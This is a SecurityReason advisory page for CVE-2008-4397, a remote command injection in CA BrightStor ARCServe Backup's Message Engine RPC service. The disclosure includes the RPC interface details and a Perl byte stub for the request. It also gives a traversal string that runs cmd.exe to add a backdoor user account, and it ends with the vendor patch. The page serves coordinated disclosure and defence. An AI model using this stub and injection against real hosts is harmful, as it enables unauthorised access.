SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

CA BrightStor ARCServe BackUp Message Engine Remote Command Injection


Arrow  SecurityAlert : 4412
Arrow  CVE : CVE-2008-4397
Arrow  CWE : CWE-20
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : cocoruder
Arrow  Published : 17.10.2008

Arrow  Affected Software : ca:arcserve_backup:r11.1
ca:arcserve_backup:r11.5
ca:arcserve_backup:r12.0
ca:server_protection_suite:r2
ca:business_protection_suite:r2
ca:business_protection_suite:r2::microsoft_small_business_server_premium
ca:business_protection_suite:r2::microsoft_small_business_server_standard



Arrow  Advisory Content :  

CA BrightStor ARCServe BackUp Message Engine Remote Command Injection
Vulnerability

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net

Summary:

CA BrightStor ARCServe BackUp is an overall data backup solution.
The RPC interface of CA BrightStor ARCServe BackUp does not handle
user's input exactly that allows anonymous attacker to inject any
command, a remote code execution attack may achieved through this way.

Affected Software Versions:

CA BrightStor ARCServe BackUp R11.5

Details:

Service named "CA BrightStor Message Engine" (Process Name:
msgeng.exe) registers a RPC interface which is listening on TCP port
6504, following is some related information:

UUID : 506b1890-14c8-11d1-bbc3-00805fa6962e
Version : 1.0
Listen Port : 6504

Remarkably, we can access this interface anonymously via
"ncacn_ip_tcp". The following is the IDL of the function of opnum
0x10A:

/* opcode: 0x156, address: 0x28EB1C00 */
long sub_28EB1C00 (
[in] handle_t arg_1,
[in][string] char * arg_2,
[in][string] char * arg_3,
[in][string] char * arg_4,
[in][string] char * arg_5,
[in] long arg_6,
[in][size_is(arg_1)] char * arg_7,
[in] long arg_8,
[in, out] long * arg_9,
[out][size_is(*arg_9)] char ** arg_10
);

Following is the normal stub of this function:

my $stub=
"\x10\x00\x00\x00\x00\x00\x00\x00". #should equal to remote computer
name
"\x10\x00\x00\x00".
"kkk-49ade5b31c1".
"\x00".

"\x08\x00\x00\x00\x00\x00\x00\x00". #will run "aaa.exe"
"\x08\x00\x00\x00".
"aaa.exe"
"\x00".

"\x81\x00\x00\x00\x00\x00\x00\x00". #arg_4
"\x81\x00\x00\x00".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"BBBBBBBBBBBBBBBB".
"\x00\x00\x00\x00".

"\x01\x00\x00\x00". #arg_5
"\x00\x00\x00\x00".
"\x01\x00\x00\x00".
"\x00\x00\x00\x00".

"\xce\x00\x00\x00". #arg_6
"\xce\x00\x00\x00".

"\xff\xfe\x3c\x00\x3f\x00\x78\x00".
"\x6d\x00\x6c\x00\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00".
"\x6f\x00\x6e\x00\x3d\x00\x22\x00\x31\x00\x2e\x00\x30\x00\x22\x00".
"\x3f\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x52\x00\x45\x00\x50\x00".
"\x4f\x00\x52\x00\x54\x00\x3e\x00\x0d\x00\x0a\x00\x20\x00\x3c\x00".
"\x48\x00\x45\x00\x41\x00\x44\x00\x45\x00\x52\x00\x20\x00\x44\x00".
"\x61\x00\x74\x00\x65\x00\x3d\x00\x22\x00\x79\x00\x65\x00\x73\x00".
"\x22\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x54\x00\x49\x00\x54\x00".
"\x4c\x00\x45\x00\x3e\x00\xcf\x6b\xe5\x65\x07\x59\xfd\x4e\xb6\x72".
"\x01\x60\xa5\x62\x68\x88\x3c\x00\x2f\x00\x54\x00\x49\x00\x54\x00".
"\x4c\x00\x45\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x44\x00\x45\x00".
"\x53\x00\x43\x00\x52\x00\x3e\x00\x28\x57\x4d\x52\x20\x00\x32\x00".
"\x34\x00\x20\x00\x0f\x5c\xf6\x65\x85\x51\x8c\x5b\x10\x62\x84\x76".
"\x07\x59\xfd\x4e\x5c\x4f\x00\x00\x00\x00\x00\x00\xde\x77\x00\x00";

First, the first parameter (victim's computer name) should equal
to the real computer name. Second, when we change the string "aaa.exe"
such as "../aaa.exe", it will bypass the current directory, if the
program has been installed by default, transferring the following
string will reach the "cmd.exe" and add an user with
"CCC"/"ZZZ"(username/password) on the affected system:

../../../../../../../..//winnt//system32//cmd.exe /c \"net user
CCC ZZZ /add\" ||

Solution:

CA has released a bulletin as well as a patch for this
vulnerability which can be found at:

https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=1881
43

CVE Information:

CVE-2008-4397

Disclosure Timeline:

2008.01.07 Vendor notified
2008.01.08 Vendor responded
2008.10.09 Coordinated public disclosure

--EOF--



Arrow  References :

https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=188143
http://www.securityfocus.com/archive/1/archive/1/497281/100/0/threaded




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server
Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability
PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)
ADT

Protect your family and valuables with Home Security Systems
Copyright © SecurityReason.com. All Rights Reserved.